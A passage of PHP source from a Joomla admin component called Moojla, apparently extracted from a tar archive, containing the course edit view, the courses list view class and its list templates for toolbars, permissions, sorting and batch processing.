 * Course View class
 */
class MoojlaViewCourse extends JViewLegacy
{
	/**
	 * display method of View
	 * @return void
	 */
	public function display($tpl = null)
	{
		// set params
		$this->params = JComponentHelper::getParams('com_moojla');
		// Assign the variables
		$this->form = $this->get('Form');
		$this->item = $this->get('Item');
		$this->script = $this->get('Script');
		$this->state = $this->get('State');
		// get action permissions
		$this->canDo = MoojlaHelper::getActions('course',
$this->item);
		// get input
		$jinput = JFactory::getApplication()->input;
		$this->ref = $jinput->get('ref', 0, 'word');
		$this->refid = $jinput->get('refid', 0, 'int');
		$return = $jinput->get('return', null, 'base64');
		// set the referral string
		$this->referral = '';
		if ($this->refid && $this->ref)
		{
			// return to the item that referred to this item
			$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
		}
		elseif($this->ref)
		{
			// return to the list view that referred to this item
			$this->referral = '&ref=' . (string)$this->ref;
		}
		// check return value
		if (!is_null($return))
		{
			// add the return value
			$this->referral .= '&return=' . (string)$return;
		}

		// Set the toolbar
		$this->addToolBar();
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}


	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JFactory::getApplication()->input->set('hidemainmenu',
true);
		$user = JFactory::getUser();
		$userId	= $user->id;
		$isNew = $this->item->id == 0;

		JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_COURSE_NEW' : 'COM_MOOJLA_COURSE_EDIT'),
'pencil-2 article-add');
		// Built the actions for new and existing records.
		if (MoojlaHelper::checkString($this->referral))
		{
			if ($this->canDo->get('course.create') &&
$isNew)
			{
				// We can create the record.
				JToolBarHelper::save('course.save',
'JTOOLBAR_SAVE');
			}
			elseif ($this->canDo->get('course.edit'))
			{
				// We can save the record.
				JToolBarHelper::save('course.save',
'JTOOLBAR_SAVE');
			}
			if ($isNew)
			{
				// Do not creat but cancel.
				JToolBarHelper::cancel('course.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				// We can close it.
				JToolBarHelper::cancel('course.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		else
		{
			if ($isNew)
			{
				// For new records, check the create permission.
				if ($this->canDo->get('course.create'))
				{
					JToolBarHelper::apply('course.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('course.save',
'JTOOLBAR_SAVE');
					JToolBarHelper::custom('course.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
				};
				JToolBarHelper::cancel('course.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				if ($this->canDo->get('course.edit'))
				{
					// We can save the new record
					JToolBarHelper::apply('course.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('course.save',
'JTOOLBAR_SAVE');
					// We can save this record, but check the create permission to see
					// if we can return to make a new one.
					if ($this->canDo->get('course.create'))
					{
						JToolBarHelper::custom('course.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
					}
				}
				$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('course.version'));
				if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('course.edit') &&
$canVersion)
				{
					JToolbarHelper::versions('com_moojla.course',
$this->item->id);
				}
				if ($this->canDo->get('course.create'))
				{
					JToolBarHelper::custom('course.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
				}
				JToolBarHelper::cancel('course.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		JToolbarHelper::divider();
		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('course');
		if (MoojlaHelper::checkString($help_url))
		{
			JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 30)
		{
    		// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		$isNew = ($this->item->id < 1);
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_COURSE_NEW' : 'COM_MOOJLA_COURSE_EDIT'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/course.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
		// Add Ajax Token
		$this->document->addScriptDeclaration("var token =
'".JSession::getFormToken()."';");
		$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
		$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/course/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript'); 
		JText::script('view not acceptable. Error');
	}
}
views/courses/index.html000064400000000054151165724410011366
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/courses/tmpl/default.php000064400000005770151165724410012514
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', '.multipleCategories',
null, array('placeholder_text_multiple' => '- ' .
JText::_('COM_MOOJLA_FILTER_SELECT_COURSES_CATEGORIES') . '
-'));
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
	$saveOrderingUrl =
'index.php?option=com_moojla&task=courses.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'courseList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=courses');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
<?php
	// Add the searchtools
	echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
	<div class="alert alert-no-items">
		<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
	</div>
<?php else : ?>
	<table class="table table-striped"
id="courseList">
		<thead><?php echo
$this->loadTemplate('head');?></thead>
		<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
		<tbody><?php echo
$this->loadTemplate('body');?></tbody>
	</table>
	<?php // Load the batch processing form. ?>
	<?php if ($this->canCreate && $this->canEdit) : ?>
		<?php echo JHtml::_(
			'bootstrap.renderModal',
			'collapseModal',
			array(
				'title' =>
JText::_('COM_MOOJLA_COURSES_BATCH_OPTIONS'),
				'footer' =>
$this->loadTemplate('batch_footer')
			),
			$this->loadTemplate('batch_body')
		); ?>
	<?php endif; ?>
	<input type="hidden" name="boxchecked"
value="0" />
	</div>
<?php endif; ?>
	<input type="hidden" name="task" value=""
/>
	<?php echo JHtml::_('form.token'); ?>
</form>
views/courses/tmpl/default_batch_body.php000064400000002332151165724410014661
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>

<p><?php echo JText::_('COM_MOOJLA_COURSES_BATCH_TIP');
?></p>
<?php echo $this->batchDisplay;
?>views/courses/tmpl/default_batch_footer.php000064400000002730151165724410015224
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_footer.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('course.batch');">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/courses/tmpl/default_body.php000064400000010152151165724410013517
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

$edit =
"index.php?option=com_moojla&view=courses&task=course.edit";

?>
<?php foreach ($this->items as $i => $item): ?>
	<?php
		$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
		$userChkOut = JFactory::getUser($item->checked_out);
		$canDo =
MoojlaHelper::getActions('course',$item,'courses');
	?>
	<tr class="row<?php echo $i % 2; ?>">
		<td class="order nowrap center hidden-phone">
		<?php if ($canDo->get('core.edit.state')): ?>
			<?php
				$iconClass = '';
				if (!$this->saveOrder)
				{
					$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
				}
			?>
			<span class="sortable-handler<?php echo $iconClass;
?>">
				<i class="icon-menu"></i>
			</span>
			<?php if ($this->saveOrder) : ?>
				<input type="text" style="display:none"
name="order[]" size="5"
				value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
			<?php endif; ?>
		<?php else: ?>
			&#8942;
		<?php endif; ?>
		</td>
		<td class="nowrap center">
		<?php if ($canDo->get('course.edit')): ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('grid.id', $i, $item->id); ?>
					<?php else: ?>
						&#9633;
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('grid.id', $i, $item->id); ?>
				<?php endif; ?>
		<?php else: ?>
			&#9633;
		<?php endif; ?>
		</td>
		<td class="nowrap">
			<div>
			<?php if ($canDo->get('course.edit')): ?>
				<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->shortname); ?></a>
				<?php if ($item->checked_out): ?>
					<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time, 'courses.',
$canCheckin); ?>
				<?php endif; ?>
			<?php else: ?>
				<?php echo $this->escape($item->shortname); ?>
			<?php endif; ?><br />moodle price: 
			<?php echo $this->escape($item->cost); ?><br />moodle
course id: 
			<?php echo $this->escape($item->remoteid); ?>

<!--  [1040]=> shortname; [1035]=> cost; [1042]=> remoteid
-->
			</div>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->fullname); ?>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->category_title); ?>
		</td>
		<td class="center">
		<?php if ($canDo->get('core.edit.state')) : ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'courses.', true, 'cb'); ?>
					<?php else: ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'courses.', false, 'cb');
?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'courses.', true, 'cb'); ?>
				<?php endif; ?>
		<?php else: ?>
			<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'courses.', false, 'cb'); ?>
		<?php endif; ?>
		</td>
		<td class="nowrap center hidden-phone">
			<?php echo $item->id; ?>
		</td>
	</tr>
<?php endforeach;
?>views/courses/tmpl/default_foot.php000064400000002304151165724410013531
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_foot.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<td colspan="7"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/courses/tmpl/default_head.php000064400000005217151165724410013471
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_head.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<?php if ($this->canEdit&& $this->canState): ?>
		<th width="1%" class="nowrap center
hidden-phone">
			<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
		</th>
		<th width="20" class="nowrap center">
			<?php echo JHtml::_('grid.checkall'); ?>
		</th>
	<?php else: ?>
		<th width="20" class="nowrap center
hidden-phone">
			&#9662;
		</th>
		<th width="20" class="nowrap center">
			&#9632;
		</th>
	<?php endif; ?>
	<th class="nowrap" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_SHORTNAME_LABEL', 'a.shortname',
$this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_FULLNAME_LABEL', 'a.fullname',
$this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_COURSES_CATEGORIES',
'category_title', $this->listDirn, $this->listOrder); ?>
	</th>
	<?php if ($this->canState): ?>
		<th width="10" class="nowrap center" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
		</th>
	<?php else: ?>
		<th width="10" class="nowrap center" >
			<?php echo JText::_('COM_MOOJLA_COURSE_STATUS'); ?>
		</th>
	<?php endif; ?>
	<th width="5" class="nowrap center hidden-phone"
>
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COURSE_ID', 'a.id', $this->listDirn,
$this->listOrder); ?>
	</th>
</tr>views/courses/tmpl/default_toolbar.php000064400000007052151165724410014231
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_toolbar.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<div id="filter-bar" class="btn-toolbar">
        <div class="filter-search btn-group pull-left">
            <label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
            <input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Courses'); ?>" />
        </div>
        <div class="btn-group pull-left">
            <button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
            <button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
            <?php echo $this->pagination->getLimitBox(); ?>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
            <select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
                <option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
                <option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
            </select>
        </div>
        <div class="btn-group pull-right">
            <label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
            <select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
                <?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
            </select>
        </div>
    </div>
<div class="clearfix">
</div>views/courses/tmpl/index.html000064400000000054151165724410012342
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/courses/view.html.php000064400000022454151165724410012027
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Moojla View class for the Courses
 */
class MoojlaViewCourses extends JViewLegacy
{
	/**
	 * Courses view display method
	 * @return void
	 */
	function display($tpl = null)
	{
		if ($this->getLayout() !== 'modal')
		{
			// Include helper submenu
			MoojlaHelper::addSubmenu('courses');
		}

		// Assign data to the view
		$this->items = $this->get('Items');
		$this->pagination = $this->get('Pagination');
		$this->state = $this->get('State');
		$this->user = JFactory::getUser();
		// Load the filter form from xml.
		$this->filterForm = $this->get('FilterForm');
		// Load the active filters.
		$this->activeFilters = $this->get('ActiveFilters');
		// Add the list ordering clause.
		$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
		$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
		$this->saveOrder = $this->listOrder == 'a.ordering';
		// set the return here value
		$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
		// get global action permissions
		$this->canDo = MoojlaHelper::getActions('course');
		$this->canEdit = $this->canDo->get('course.edit');
		$this->canState =
$this->canDo->get('core.edit.state');
		$this->canCreate = $this->canDo->get('course.create');
		$this->canDelete = $this->canDo->get('course.delete');
		$this->canBatch = $this->canDo->get('core.batch');

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
			// load the batch html
			if ($this->canCreate && $this->canEdit &&
$this->canState)
			{
				$this->batchDisplay = JHtmlBatch_::render();
			}
		}
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}

	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JToolBarHelper::title(JText::_('COM_MOOJLA_COURSES'),
'list');
		JHtmlSidebar::setAction('index.php?option=com_moojla&view=courses');
		JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');

		if ($this->canCreate)
		{
			JToolBarHelper::addNew('course.add');
		}

		// Only load if there are items
		if (MoojlaHelper::checkArray($this->items))
		{
			if ($this->canEdit)
			{
				JToolBarHelper::editList('course.edit');
			}

			if ($this->canState)
			{
				JToolBarHelper::publishList('courses.publish');
				JToolBarHelper::unpublishList('courses.unpublish');
				JToolBarHelper::archiveList('courses.archive');

				if ($this->canDo->get('core.admin'))
				{
					JToolBarHelper::checkin('courses.checkin');
				}
			}

			// Add a batch button
			if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
			{
				// Get the toolbar object instance
				$bar = JToolBar::getInstance('toolbar');
				// set the batch button name
				$title = JText::_('JTOOLBAR_BATCH');
				// Instantiate a new JLayoutFile instance and render the batch button
				$layout = new JLayoutFile('joomla.toolbar.batch');
				// add the button to the page
				$dhtml = $layout->render(array('title' => $title));
				$bar->appendButton('Custom', $dhtml, 'batch');
			}
			if ($this->user->authorise('course.update_courses',
'com_moojla'))
			{
				// add Update courses button.
				JToolBarHelper::custom('courses.updateCourse', 'book
custom-button-updatecourse', '',
'COM_MOOJLA_UPDATE_COURSES', 'true');
			}
			if ($this->user->authorise('course.sync_tag',
'com_moojla'))
			{
				// add Sync tag button.
				JToolBarHelper::custom('courses.syncTags', 'tags
custom-button-synctags', '',
'COM_MOOJLA_SYNC_TAG', 'true');
			}
			if
($this->user->authorise('course.fetch_moojla_enrolment',
'com_moojla'))
			{
				// add Fetch moojla enrolment button.
				JToolBarHelper::custom('courses.fetchMoojlaEnrolment',
'address custom-button-fetchmoojlaenrolment', '',
'COM_MOOJLA_FETCH_MOOJLA_ENROLMENT', 'true');
			}
			if
($this->user->authorise('course.migrate_from_joomdle',
'com_moojla'))
			{
				// add Migrate from Joomdle button.
				JToolBarHelper::custom('courses.migrateFromJoomdle',
'database custom-button-migratefromjoomdle', '',
'COM_MOOJLA_MIGRATE_FROM_JOOMDLE', 'true');
			}

			if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
			{
				JToolbarHelper::deleteList('', 'courses.delete',
'JTOOLBAR_EMPTY_TRASH');
			}
			elseif ($this->canState && $this->canDelete)
			{
				JToolbarHelper::trash('courses.trash');
			}

			if ($this->canDo->get('core.export') &&
$this->canDo->get('course.export'))
			{
				JToolBarHelper::custom('courses.exportData',
'download', '', 'COM_MOOJLA_EXPORT_DATA',
true);
			}
		}
		if ($this->user->authorise('course.fetch',
'com_moojla'))
		{
			// add Fetch button.
			JToolBarHelper::custom('courses.fetchCourses', 'contract
custom-button-fetchcourses', '',
'COM_MOOJLA_FETCH', false);
		}
		if ($this->user->authorise('course.sections',
'com_moojla'))
		{
			// add Sections button.
			JToolBarHelper::custom('courses.goToSections', 'briefcase
custom-button-gotosections', '',
'COM_MOOJLA_SECTIONS', false);
		}
		if ($this->user->authorise('course.modules',
'com_moojla'))
		{
			// add Modules button.
			JToolBarHelper::custom('courses.goToModules', 'image
custom-button-gotomodules', '',
'COM_MOOJLA_MODULES', false);
		}
		if ($this->user->authorise('course.contents',
'com_moojla'))
		{
			// add Contents button.
			JToolBarHelper::custom('courses.goToContents',
'bubble-quote custom-button-gotocontents', '',
'COM_MOOJLA_CONTENTS', false);
		}

		if ($this->canDo->get('core.import') &&
$this->canDo->get('course.import'))
		{
			JToolBarHelper::custom('courses.importData',
'upload', '', 'COM_MOOJLA_IMPORT_DATA',
false);
		}

		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('courses');
		if (MoojlaHelper::checkString($help_url))
		{
				JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}

		// add the options comp button
		if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
		{
			JToolBarHelper::preferences('com_moojla');
		}

		// Only load published batch if state and batch is allowed
		if ($this->canState && $this->canBatch)
		{
			JHtmlBatch_::addListSelection(
				JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
